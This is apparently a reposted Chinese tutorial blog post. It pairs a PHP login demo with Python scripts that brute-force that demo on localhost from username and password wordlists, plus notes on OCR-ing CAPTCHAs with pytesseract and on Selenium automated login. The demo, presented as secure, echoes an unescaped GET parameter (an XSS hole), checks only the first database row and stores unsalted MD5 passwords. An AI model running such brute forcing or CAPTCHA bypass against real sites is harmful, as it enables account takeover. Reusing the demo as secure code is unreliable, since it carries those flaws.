• php安全编程&python测试实例编写


    前言

    本文首发i春秋论坛。

    本篇文章主要分享一个python暴破脚本,该脚本采用optparse模块,支持自定义字典位置;用了多线程(虽然我感觉和单线程速度差不多。。是我的错觉还是线程写的不对。。求表哥们指教)。

    一、PHP安全编程
    这篇文章暴破的目标是自己写的一个简单demo,php写的,用了PDO预编译预防SQLI,用了htmlspecialchars简单防御xss,源码放出来:
    数据库配置文件(dbname:pybp;table:pybp_table;column:username,passwd)Con_self.php:
        <?php  
        $pdo = new PDO('mysql:host=localhost;dbname=pybp', 'root', 'root');  
        $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);  
        $pdo->exec("set names 'utf8'");  
        ?>  


    登录处文件login_self.php:
        <?php  
        include('con_self.php');  
        ?>  
        <form action='' method='POST' name='form1'>  
        user:  <input type='text' name='username'><br>  
        passwd:<input type='text' name='passwd'><br>  
        <input type='submit' value='login' name='login'>  
        <input type='submit' value='add' name='add'>  
        </form>  
        <?php  
        if(isset($_POST['add'])){  
            $username = htmlspecialchars($_POST['username']);  
            $passwd = htmlspecialchars($_POST['passwd']);  
            $sm = $pdo->prepare("insert into pybp_table(username,passwd) values(?,?)");  
            $sm->execute(array($username,md5($passwd)));  
        }  
        if(isset($_POST['login'])){  
            $username = htmlspecialchars($_POST['username']);  
            $passwd = htmlspecialchars($_POST['passwd']);  
            $smt = $pdo->prepare("select * from pybp_table");  
            $smt->execute(array());  
            $result = $smt->fetchAll();  
            if($username===$result[0]['username']&&md5($passwd)===$result[0]['passwd']){  
                header("Location:/pybp_pdo/welcome_self.php"."?user=".$username);  
            }  
            else{  
                echo 'login fail';  
            }  
        }  
        ?>  


    以及登录认证成功后跳转的welcome.php:        
        <html>  
        <p>welcome <?php echo $_GET['user'];?></p>  
        <html>  

    有关于csrf防御,参见http://bbs.ichunqiu.com/thread-15186-1-1.html,就不赘述了。
    Ok,看看界面:


    然后咱们就试试爆破这个登陆界面了

    二、python登陆暴破
    py脚本原版先放出来:
        #coding: utf-8  
        #author: xiaoye  
        import requests  
           
        if __name__ == '__main__':  
            data = {}  
            headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0'}  
            url = 'http://localhost/pybp_pdo/login_self.php'  
            #data = {'username':'admin','passwd':'admin','login':'login'}  
            userlist = [x.strip('
    ') for x in open('pybp_self_user.txt').readlines()]  
            #print userlist  
            passwdlist = [x.strip('
    ') for x in open('pybp_self_passwd.txt').readlines()]  
            #print passwdlist  
            for user in userlist:  
                for passwd in passwdlist:  
                    data['username'] = user  
                    data['passwd'] = passwd  
                    data['login'] = 'login'  
                    print data  
                    r = requests.post(url,data=data,headers=headers)  
                    if r.status_code == 200:  
                        if r.content.find('welcome') != -1:  
                            print 'user:%s, passwd:%s' % (user,passwd)  
                            exit(0)  
                    data.clear()  

    运行截图:



    整个程序用列表生成式,获取了user 、passwd两个字典的全部内容,并且将它们组合为dict形式,用requests.post去一一模拟登陆,并从返回的页面源码中提取响应的关键字来判断是否已经登陆成功。

    基本的思想就是这样,但是前面的这个程序很死,连字典位置都不能自定义,速度有点慢(这个其实正常,两个只含有10个词字典,10*10的话,就要爆破100次,而且requests的速度还受网络的限制)

    改善版:

    optparse自定义字典位置(多线程出了点问题,我改完后放出来):
        #coding: utf-8  
        #author: xiaoye  
        import requests  
        from optparse import OptionParser  
           
        if __name__ == '__main__':  
            parse = OptionParser()  
            parse.add_option('-u','--u',dest='userfile',type='string',help='specify user file')  
            parse.add_option('-p','--p',dest='passfile',type='string',help='specify passwd file')  
            option,args = parse.parse_args()  
            data = {}  
            headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0'}  
            url = 'http://localhost/pybp_pdo/login_self.php'  
            #data = {'username':'admin','passwd':'admin','login':'login'}  
            userlist = [x.strip('
    ') for x in open(option.userfile).readlines()]  
            #print userlist  
            passwdlist = [x.strip('
    ') for x in open(option.passfile).readlines()]  
            #print passwdlist  
            for user in userlist:  
                for passwd in passwdlist:  
                    data['username'] = user  
                    data['passwd'] = passwd  
                    data['login'] = 'login'  
                    print data  
                    r = requests.post(url,data=data,headers=headers)  
                    if r.status_code == 200:  
                        if r.content.find('welcome') != -1:  
                            print 'user:%s, passwd:%s' % (user,passwd)  
                            exit(0)  
                    data.clear()  

    看运行gif:



    Optparse模块还是挺好用的,命令行参数用着方便些

    关于爆破,有个坑得说一说,验证码
    关于验证码识别,我常用的是tesseract-ocr,效果还行吧,对中文的识别比较蛋疼。。。。。。
    从csdn截了个验证码,试试看效果:



    效果还可以
    对于python这种轮子众多的语言来讲,也有自己处理验证码的模块,pytesseract (依赖于tesseract&&PIL)
    用法如下:
    #coding: utf-8  
    import pytesseract  
    import PIL  
    image = PIL.Image.open('v2code.png')  
    v = pytesseract.image_to_string(image)  
    print v 

    效果:



    遇见有验证码的登陆窗口,我们可以向上面的小程序用python做简单处理

    三、小彩蛋
    这次小彩蛋挺有意思的,介绍了python selenium,有关于selenium,光是安装就是个大坑,可以试着去踩踩~。。。。。。tips:selenium 启动不了过高版本firefox,要安装引擎文件;默认selenium操作firefox会打开一个初始的,没有任何插件的火狐浏览器,这时候可以指明firefox profile,启动我们日常用的浏览器(安装一下就知道我说的意思了。。)

    代码:(自动化打开firefox,打开csdn登陆界面,自动化输入用户名/密码登陆)
    截图工具崩了。。借个网上的图来看看情况http://img.blog.csdn.net/20150821031951877
    下面代码运行情况和这个情况差不多,全程是不需要人手工点击的,自动化完成,自动化登录csdn源码如下:
        from selenium import webdriver   
        from selenium.webdriver.common.keys import Keys   
        import time   
        import re  
             
        profile_dir = r"C:UsersxiaoyeAppDataRoamingMozillaFirefoxProfiles3xhizvy7.default"  
        profile = webdriver.FirefoxProfile(profile_dir)  
        driver = webdriver.Firefox(profile)   
        driver.get("https://passport.csdn.net/account/login?from=http://my.csdn.net/my/mycsdn")   
        elem_user = driver.find_element_by_name("username")   
        elem_user.send_keys("your username")  
        elem_pwd = driver.find_element_by_name("password")   
        time.sleep(2)  
        elem_pwd.send_keys("your passwd")   
        elem_pwd.send_keys(Keys.RETURN)   
        time.sleep(5)   
        assert "baidu" in driver.title   
        driver.close()   
        driver.quit()    

    其中,profile_dir是火狐的配置文件地址,每个人都不一样
    your username是你的用户名,passwd是你的密码
    运行之后,就自动化操作了
    为啥python爆破会讲到这个呢?。。自动化能不能爆破呢?当然可以,下次有时间试试吧
    Selenium经常应用在自动化测试以及爬虫上,普通静态页面抓取一般只需要三个模块:re正则模块  bs4解析模块 requests请求模块;但是对于像ajax动态生成的页面,selenium是个不错的选择。
  • 相关阅读:
    Mysql 高可用方案讨论
    python 自动化之路 day 20 Django进阶/BBS项目【一】
    python 自动化之路 day 18 前端内容回顾、补充/Django安装、创建
    python 自动化之路 day 19 Django基础[二]
    Mysql配置文件读取顺序
    Mysql中查看每个IP的连接数
    循环杀死Mysql sleep进程脚本
    JS设计模式——5.单体模式(用了这么久,竟全然不知!)
    JS设计模式——4.继承(示例)
    JS设计模式——4.继承(概念)
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/6595570.html
Copyright © 2020-2023  润新知